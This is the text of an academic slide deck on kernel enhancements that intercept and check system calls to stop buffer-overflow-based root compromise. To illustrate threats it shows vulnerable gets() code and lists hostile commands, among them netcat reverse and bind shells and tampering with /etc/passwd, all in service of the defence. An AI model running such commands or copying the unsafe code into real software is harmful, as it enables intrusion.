Operating System enhancements to

prevent misuse of Systems Calls

Dayal Dilli

ddilli@unb.ca

March 25, 2013

Outline

• Operating System Security Vulnerabilities and concepts

• Buffer overflow exploit

• System Calls and Kernel Data structures misuse.

• Access control Databases, Audit Files and Reference Monitors.

• Performance Evaluation with protection mechanism.

Operating System Security

• Protect system from Executing un authorized code.

– Protect un authorized execution of Kernel Code. e.g. System Call.

– Protect critical memory areas from corruption

Top Operating System Vulnerabilities

• Buffer Overflow attacks

• Denial of Service attacks

• Viruses and Trojans

Buffer overflow

• Buffer is a piece of memory

– Stack e.g. local variable like arrays

– Heap e.g. Dynamically allocated memory

Stack Overflow

main()

{

char buffer[10]; //Stack

gets(buffer);

puts(buffer);

}

Heap Overflow

main()

{

char *buffer;

buffer=(char *)malloc(10); //Heap

gets(buffer); //buffer more than 10 bytes

puts(buffer);

}

Exploiting Stack Overflow

• Make the content of Buffer[] overflow

• Well-craft the content of Buffer to overwrite RET with the address of attackers malicious code.

• Malicious code includes spawning a root shell using exec, binding it a port using net cat etc..

Example

• Normal Run

– Buffer*+ = ‘ABCDEFGH’ – runs properly – 8 bytes

• Exploit

– Buffer*+ = ‘ABCDEFGHIJKL<address to malicious code>’

– Malicious code contains systems calls like execthat can run a shell.

What happened in the previous slides?

• Critical memory areas got corrupted

• We used exec system call to spawn a shell

• Apart from this, unprotected access to system calls also leads to resource starvation causing Denial of Service attacks.

Prevention of Attacks

• Monitoring of system calls made by the processes.

• Blocking malicious invocation of system call from completion.

• The paper proposes mechanism of interception of system call at Kernel level.

Methodology

• Detect illegal invocation of system calls.

• Reference Monitor the system calls.

• Check the arguments of the system calls.

• Implement a light weight change without much changes to the existing Kernel data structures and algorithms.

Approach

• Key Terms:

– Reference functions

– Authorization functions

– Access control Database

– Access Control Rules

Kernel Enhancements

• Not all System calls are malicious.

• Identify the subset of system calls for monitoring.

• The paper mainly focuses on the prototype implemented to prevent Buffer Overflow based intrusion attacks.

Root Access?

• How to get Root Access on the system?

– Exploit any vulnerability(e.g. buffer overflow) on any of the running root processes.

Categories of Root Process

• Interactive

– Process started by super user. Threat level is nil as user has full control of the process.

• Background

– Daemon programs started at booting, cron jobs.

• e.g. httpd, ftp, mysqld, processes started with ‘&’ in the end.

• Generally, any process with UID and EUID equaling 0.

System Call Categories and Threat Level

Threat Level Classification

• System calls in group 1 – 3 comes under Threat Level 1.

• System calls in group 4-9 no so malicious to be misused

System calls with threat level 1 and 2

Threat level – 1 System Calls

Threat examples

• Chmod(“/etc/passwd”, 0666)

Chown(“/etc/passwd”, intruder, intruder_group)

Rename(“/tmp/passwd”,”/etc/passwd”)

• Unlink(“/etc/passwd”)

Link(“/tmp/passwd”,”/etc/passwd”)

• nc <ip> <port> -e /bin/bash

• nc –l –p <port> -e /bin/bash

Implementation

• New Data structures to implement the Access control Database (ACD).

• New System call to read, write and update the ACD and the reference functions.

Authorization and Reference functions

• Checks for root privilege and subsequent access to system calls.

Data Structures:• setuid_acd - contains root passwd• execve_acd

– Struct exe_file_id– Struct executable_file– Struct executable_file_list

Data Structures

Admitted Data structure

sys_setuid_aclm/ aclmng

• System call to read and modify ACD. Acts as the common front end for all methods on ACD.

• Processes with UID and EUID =0 can only access.

• Provides concurrent access between two root process using lock variable write_pid.

Sys_setuid_aclm methods

• PUT(exe_file, suid_prog, list)

• DELETE(exe_file, suid_prog, list)

• GET(exe_file, suid_prog, param)

– Param->file_nr, Param->prog_nr from Param->list

check_rootproc

• Reference function that authenticates the execution of execve by a root process.

– Denial:

• EXENA: process not in ACD or not authenticated

• EFNA: File not authenticated

Examples

• Setuid(0) / su

– Checks password

• Chmod / Chown

– Process: background

– File: any regular file/ directory

– Checks process/ file from ACD along with Password.

Performance

• Only Limited Reduction in Performance

• Reasons:

– Only 10% of the system calls include Access check.

– Only limited number of process execute all check.

– No changes with the user mode process.

– All data structures need for check are in kernel memory.

Evaluation

• Pentium II, 330 MHz with 128 MB RAM, Linux Kernel Version 2.2.12.

Related Works and Conclusion

• Linker warning to check dangerous function calls. e.g. gets, strcpy

• Non-executable stack.

• Stackguard in gcc– commercial tool prevents return address modification using canary word.

• Stackshield in gcc- moves return address to un over flow-able location. e.g. beginning of data section.